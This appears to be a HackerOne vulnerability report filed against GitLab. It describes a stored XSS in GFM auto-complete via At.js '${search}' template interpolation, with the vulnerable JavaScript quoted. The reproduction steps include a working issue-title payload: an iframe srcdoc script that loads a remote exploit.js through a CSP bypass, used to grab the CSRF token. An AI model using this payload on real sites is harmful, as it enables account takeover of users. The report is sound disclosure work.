Stored XSS in GFM auto-complete
HackerOne report #1218174 by saleemrashid
on 2021-06-05, assigned to @ankelly:
Report | Attachments | How To Reproduce
Report
Summary
GFM auto-complete is implemented using At.js (jquery.atwho
). Because GitLab includes some unsanitized atwho template variables and allows the attacker to control the template, it is possible to achieve XSS. This can be combined with a CSP bypass.
Steps to reproduce
This should work for things other than issues that support auto-complete, but I've used issues here because they're the most impactful (as they can typically be created by anyone, rather than being limited to project maintainers).
- Create an issue with this title. This uses the CSP bypass described in https://hackerone.com/reports/1212822 so you may need to change the
src
attribute to refer to a different project
${search}<iframe srcdoc='<script src=https://gitlab.com/api/v4/projects/saleemrashid%2Fmermaid-exploit-7032e404/jobs/1303935016/artifacts/exploit.js></script>'>
- Type
#
into an input field on that project with GFM auto-complete (e.g. an issue comment). The issue number you created should appear in the auto-complete with aniframe
injected next to it. I've attached a screenshot of what this looks like. The JavaScript will be executed and an alert box will appear containing the CSRF token.
Impact
This could be used for widespread account takeover. An attacker could create issues and merge requests on large numbers of popular projects to exploit this, then achieve XSS for any users that type #
into an input field on that project with GFM auto-complete (e.g. an issue comment). The user doesn't need to view the attacker's issue to be vulnerable.
Examples
https://gitlab.com/saleemrashid/atwho-xss-296a5f26e218ff6f/-/issues/2
What is the current bug behavior?
jquery.atwho
supports template interpolation in the string returned from displayTpl
. This is the implementation for issues:
setupIssues($input) {
$input.atwho({
at: '#',
alias: 'issues',
searchKey: 'search',
displayTpl(value) {
let tmpl = GfmAutoComplete.Loading.template;
if (value.title != null) {
tmpl = GfmAutoComplete.Issues.templateFunction(value);
}
return tmpl;
},
data: GfmAutoComplete.defaultLoadingData,
insertTpl: GfmAutoComplete.Issues.insertTemplateFunction,
skipSpecialCharacterTest: true,
callbacks: {
...this.getDefaultCallbacks(),
beforeSave(issues) {
return $.map(issues, (i) => {
if (i.title == null) {
return i;
}
return {
id: i.iid,
title: sanitize(i.title),
reference: i.reference,
search: `${i.iid} ${i.title}`,
};
});
},
},
});
}
GfmAutoComplete.Issues.templateFunction
returns attacker-controlled data (i.e. the issue title). escape
only escapes HTML special characters and does not touch the ${var}
syntax that atwho supports.
// Issues, MergeRequests and Snippets
GfmAutoComplete.Issues = {
insertTemplateFunction(value) {
// eslint-disable-next-line no-template-curly-in-string
return value.reference || '${atwho-at}${id}';
},
templateFunction({ id, title, reference }) {
return `<li><small>${reference || id}</small> ${escape(title)}</li>`;
},
};
This means an attacker can use the ${var}
syntax to reference template variables passed to atwho. The template variables here are returned by the beforeSave
callback in the earlier snippet. We can see that i.iid
and i.reference
likely can't contain attacker-controlled HTML, but i.title
could (because it's the issue title). While the title
variable uses sanitize(i.title)
, which attempts to remove HTML elements, search
does not sanitize it in any way.
So an attacker can include ${search}
into an issue title and cause the issue title to be injected as unsanitized HTML.
What is the expected correct behavior?
Firstly, the template that is passed to atwho should not be attacker-controlled and GitLab should use atwho's template interpolation instead of using JavaScript string interpolation.
Secondly, all the template variables passed to atwho should be sanitized.
Output of checks
This bug happens on GitLab.com
Impact
This could be used for widespread account takeover. An attacker could create issues and merge requests on large numbers of popular projects to exploit this, then achieve XSS for any users that type #
into an input field on that project with GFM auto-complete (e.g. an issue comment). The user doesn't need to view the attacker's issue to be vulnerable.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: